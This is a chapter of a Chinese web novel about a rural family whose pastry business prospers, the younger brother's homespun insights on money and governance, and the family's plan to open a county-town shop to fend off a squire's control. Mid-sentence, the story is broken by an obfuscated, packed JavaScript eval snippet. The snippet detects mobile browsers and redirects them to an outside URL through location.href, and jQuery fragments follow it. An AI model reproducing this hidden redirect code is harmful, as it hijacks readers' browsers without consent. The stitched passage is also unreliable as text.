年夜饭摆了一大桌,菜式丰盛。炖得烂熟的整只鸡,油光红亮的大块扣肉,炸得酥脆的鱼,自家做的豆腐丸子,清炒的冬笋。主食除了白米饭,还有李氏特意蒸的米糕。当然,少不了压轴的精品巧酥,用最普通的盘子装着几枚,取其团圆之意。 王树看着满桌的菜肴,再看看父母脸上舒心的笑容,大姐有条不紊地照顾着每个人的碗碟,妹桃叽叽喳喳的与幼弟说着什么。 他心中感慨万千,端起装满米酒的粗陶碗,声音有些发哽:“爹,娘,大姐,桃妹,佑弟,这一年,家里……变化太大了。我……我这做儿子的、做大哥的,没能在家里分担,反倒让家里为我操心……” 王老实摆摆手,打断了儿子的话:“说这些干啥。你在外头好好念书,就是给家里最大的分担。家里现在……挺好。” 李氏抹了下眼角,笑着给儿子夹了个鸡腿:“快吃,都是你爱吃的。家里现在宽裕了,你安心念你的书,别的不用惦记!” 王杏微笑着,又给王树夹了一块肉:“小树,家里的事,有爹娘和我呢。你只管朝着你的路走。” 席间,话题自然绕不开给家庭带来巨大变化的营生。王杏挑着能说的,简单讲了低端线的稳定,也含蓄地提了提高端线。至于具体如何运作、利润几何,她则一语带过。 但即便如此,已足够让王树、王桃听得心潮起伏。 年夜饭在温暖的气氛中结束。姐妹俩收拾碗筷,其他人则围坐在正堂的火盆边烤火。 等姐妹俩收拾完碗筷,一起烤火时,王树终于忍不住,问出了心中盘旋已久的疑问:“大姐,那雅致巧酥……究竟是如何做到让陈老爷都青眼有加的?还有,家里这般经营,周家那边……” 王杏看了王佑一眼,王佑轻轻点了点头。 于是,王杏便不再隐瞒,一一道来。 这番详细讲述让王树和王桃听得震惊不已。 王桃跳起来兴奋的说道:“爹、娘、大姐、佑弟你们太厉害了!” 王树久久无言。 这个家,在他埋头苦读的时候,已经以一种他陌生的营生方式,悄然蜕变、成长,并为他构筑起了一个坚实的后盾。 混合着愧疚、感激、震撼的情绪,在他胸中激荡。 过了年,王树并未立刻返回李家村。 他渐渐发现了更多不同,大姐处理事情有条不紊,走亲戚以及刘栓、刘柱兄弟过来拜年时,与他们交谈言语从容,隐隐已有‘当家的’风范。 父母虽然依旧话不多,但偶尔谈及家中事务,也会说出些颇有见地的话来。 王佑自然不用说,他在王树面前,已无需隐藏。 兄弟俩时常在院中晒太阳,王树想起院试中一道关于‘钱法’的策论题,自己当时答得中规中矩,却总觉得未能切中要害,便向幼弟‘探讨’:“......当时只想到要稳定币值、严防私铸,却总觉得流于表面,未能深入。佑弟,若是你,会怎么想?” 王佑正用石子摆弄着一个简单的图案,闻言稚嫩的声音响起:“钱嘛,就是大家约定好用来换东西的石头片片或者小金属块。” 王树一愣,这说法……倒是直白。 “既然是约定好的,那就要大家都认,都愿意用它换东西才行。光官府说它值多少不行,得种田的、卖布的、打铁的……所有人都觉得它值,它才有用。如果官府今天说这个值一百,明天又说只值八十,或者有些人能偷偷造出一模一样的,那大家就不敢用它了,宁愿回去用谷子换布、用布换盐。” 他抬起头,看着大哥:“所以,钱法的关键,或许不只是朝廷怎么管钱,更是怎么让天下人都信这个约定,怎么让这个约定不被随便打破。比如,收税的时候只收这种钱,发俸禄的时候也只发这种钱,让大家不得不信、不得不用。再比如,谁偷偷造□□,就罚得很重很重,让大家不敢造。还有……” 王佑停顿片刻又举出一个例子:“额......就像咱们家的巧酥,大家认它值一文半,是因为它实在、顶饿、味道好。如果哪天咱们偷工减料,或者别人也能做出一模一样还更便宜的,大家就不认了。” 关于水利,王佑会说“水往低处流,人往高处引,修渠不如顺势”;有时是关于吏治,他会嘟囔“当官的也是人,也要吃饭养家,光讲道理不行,还得让他们吃饱了、有盼头,才不容易贪”;有时...... 每一次,王佑都是说着最朴素的道理,却总能精准地戳破王树在经义文章中形成的某些思维定式或盲点,为他打开一扇全新的窗。 王树听完后感到一种难以言喻的安心,也感到了沉甸甸的责任。幼弟是‘神童’是福,也是祸。他必须更快地成长,取得功名,才能在未来保护好这个家。 正月初八,王树收拾行装,准备返回李家村。临行前,他将王佑叫到一边,郑重地摸了摸弟弟的头。 “佑弟,家里……辛苦你了。大哥……会尽快考上秀才,到时候,咱们家就更不一样了。” 王佑仰起小脸,看着大哥眼中那份守护之意,露出笑容。 “大哥,路上小心。家里,有我呢。” 这话从一个六岁孩童口中说出,如有外人听到,只会觉得无比好笑,可王树则是用力点头。 三月初,春寒料峭,永丰县却已悄然传开一则雅闻。 据刘栓带回的消息,雅致巧酥不仅因其精巧美味,更因雅致之名与读书人的身份相契,加之由陈士诚这等体面乡绅处流出,县学几位廪生大人在文会雅集时,案头常备几枚,佐清茶,论诗文,竟成一时风尚。 这风潮带来的,除了名气,更有暗流。 这日,刘栓匆匆赶到松岗小院,神色间带着一丝罕见的凝重与不安。 “杏丫头,王叔,陈老爷今日唤我去,话里话外,探听之意甚浓。”刘栓声音低沉,“他先是夸咱们东西做得好,县学里都传遍了,给他长了脸。接着便叹,说如此雅物,产量却如此稀少,每每有至交好友索求,他都难以周全,甚为苦恼。” 刘栓继续道:“他问我,这制作巧酥究竟是何方高人?可否引荐?他愿以厚礼相聘,或出资合作,在镇上开一家专门的铺子,将这雅致巧酥做大,也好让更多雅士得以品鉴。” 话说得漂亮,但背后的意思谁都明白。 王杏沉吟片刻,问:“栓子哥,你怎么回的他?” 刘栓道:“我只推说,我那世交性情孤僻,不喜见生人,更不愿受拘束。” “他信了?” “面上是信了,却让我务必代为转达他的诚意。但我看他那眼神……”刘栓摇摇头,“怕是不全信,也只是暂且按捺。如今这巧酥名声渐起,利 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16962450|193289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 润又厚,他起了掌控之心,也是人之常情。” 送走忧心忡忡的刘栓,王杏回到屋内,王佑正坐在窗边,将外面的对话听在耳中。 王杏在他对面坐下:“佑弟,陈老爷这边,怕是拖不了多久了。他若真铁了心要查,栓子哥未必挡得住。” 王佑抬起头,黑亮的眼睛里没有丝毫意外,反而有种‘终于来了’的沉静。 “大姐,我们之前商量的事,该动一动了。” “去县城?” “嗯,时机到了。” 王佑条理清晰地说道:“陈老爷起了贪心,是危机,也是机会。逼着我们不能再安心藏在他身后了。但直接翻脸不明智,我们得自己先立起来。” “可小树那边……” “我仔细想过,也对过往看到的旧书杂记反复推敲。本朝并非一味抑商,朝廷用度浩繁,盐茶市舶之利,商税亦是重要来源。有功名的商人或商贾子弟考取功名者,虽会受些清流议论,但朝廷律法并无明文禁止,实际为官者亦有人在。只要我们家根基干净,不行诡诈,不涉诉讼,大哥前程不会因我们开店而受到阻碍。何况……” 他顿了顿,声音更稳:“何况,等大哥有了功名,我们这雅致之名,反而可能成为佳话,而非污点。重要的是,我们要把铺子开在对的地方,卖给对的人。” 王杏立刻明白了他的意思:“你是说……靠近县学、衙署那些地方?专做读书人和官宦人家的生意?” “对。”王佑点头,“开铺子,不是为了卖更多,而是为了立旗。告诉所有人,这雅致巧酥有正经来处,是体面营生。也告诉陈老爷,我们感念他最初的引荐之情,愿意继续合作供他一部分货,但源头,不能由他独占。” 他说出了完整盘算: 其一,立名正身。在县城开一家店铺,不必大,重在格调。将雅致巧酥从一件神秘的馈赠佳品,转化为一种可公开、可持续购买的高端茶点。这能有效化解被陈老爷垄断的风险,并将产品的声誉与店铺本身绑定。 其二,借势自保。店铺若能在县学、文房店铺聚集之地立足,天然便受到文人清议的关注。刘栓提及的‘书铺、文房铺子东家甚至官府大人’的求购意愿,就是无形的势。陈老爷想独占,就得掂量掂量,硬抢会不会得罪这些已经形成习惯的雅客。 其三,长远之基。这铺子将是在县城立足的第一个据点,不仅能稳定销售高端产品,更能作为一个窗口,接触更广阔的信息和人脉,为大哥乃至未来铺设更多可能。 “所以,我们得先去县城看看。”王佑总结道,“看看铺面行情,看看风声虚实,也看看……有没有合适的契机。最好,能在中秋之前落定。中秋是团圆佳节,亦是文人雅集、官场应酬频繁之时,是再次打响名头的绝好时机。” 王杏听得心潮起伏。幼弟的思路总是如此清晰,将危机拆解,转化为向前一步的阶梯。 “好。”王杏站起身,眼中恢复了平日的果决,“这事宜早不宜迟,这两天我们抽个时间去县城。不过,佑弟,这事……要告诉小树吗?” 王佑想了想,摇摇头:“暂时不必,等我们看得差不多了,有了切实计划,再告知大哥不迟。” 王杏点头,忽然又想起一事:“那陈老爷那边,让栓子哥如何回复?” 王佑微微一笑:“让栓子哥继续拖延,待店铺落实再回复感念陈老爷提携之恩,为表歉意与诚意,愿每月提供三盒,以最优惠之价专供陈老爷,由他自行馈赠或处置。” 王杏眼睛一亮:“我明白了,这就去跟爹商量。” 趁天色还早,王老实听完后便揣着十余枚铜板去了邻村。当初送他回家的张老汉每隔七八日会砍一车柴去县城卖。王老实递上铜板,说家里两个孩子想去县城见识见识,搭个顺风车。张老汉掂了掂铜钱,承诺会将他们安全送回。